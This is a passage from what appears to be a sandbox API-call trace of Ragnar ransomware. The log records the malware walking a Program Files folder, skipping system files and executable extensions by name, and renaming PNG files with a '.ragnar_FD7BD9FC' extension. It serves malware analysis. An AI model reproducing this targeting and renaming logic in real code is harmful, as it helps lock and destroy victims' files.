files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.934] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0078.934] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.934] lstrcpyW (in: lpString1=0x1eab5a, lpString2="huemainsubpicture2.png" | out: lpString1="huemainsubpicture2.png") returned="huemainsubpicture2.png" [0078.934] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned=".png" [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="autorun.inf") returned 1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="boot.ini") returned 1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="bootfont.bin") returned 1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="bootsect.bak") returned 1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="bootmgr") returned 1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="bootmgr.efi") returned 1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="bootmgfw.efi") returned 1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="desktop.ini") returned 1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="iconcache.db") returned -1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="ntldr") returned -1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="ntuser.dat") returned -1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="ntuser.dat.log") returned -1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="ntuser.ini") returned -1 [0078.935] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="thumbs.db") returned -1 [0078.935] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.935] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.935] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.935] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.935] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.935] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.935] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png")) returned 0x20 [0078.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.935] CloseHandle (hObject=0xffffffff) returned 0 [0078.935] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" [0078.935] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.ragnar_FD7BD9FC" [0078.936] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.936] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.936] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.936] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0078.936] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned=".png" [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0078.936] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0078.936] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.936] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.936] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.936] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.936] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.936] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.936] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png")) returned 0x20 [0078.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.937] CloseHandle (hObject=0xffffffff) returned 0 [0078.937] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" [0078.937] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0078.937] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.937] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.937] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.937] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0078.937] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png") returned=".png" [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0078.937] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0078.937] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.937] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.937] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.937] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.937] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.937] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.937] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png")) returned 0x20 [0078.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.938] CloseHandle (hObject=0xffffffff) returned 0 [0078.938] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" [0078.938] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0078.938] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.938] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.938] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.938] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0078.938] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png") returned=".png" [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0078.938] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0078.939] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.939] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.939] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.939] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.939] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.939] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.939] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png")) returned 0x20 [0078.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.939] CloseHandle (hObject=0xffffffff) returned 0 [0078.939] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" [0078.939] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0078.939] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.939] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.939] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.939] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0078.939] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png") returned=".png" [0078.939] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.939] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0078.939] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0078.939] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0078.939] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0078.939] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0078.939] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0078.939] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0078.940] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0078.940] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0078.940] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0078.940] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0078.940] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0078.940] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0078.940] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0078.940] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.940] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.940] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.940] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.940] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.940] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.940] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png")) returned 0x20 [0078.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.940] CloseHandle (hObject=0xffffffff) returned 0 [0078.940] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" [0078.940] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0078.940] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program 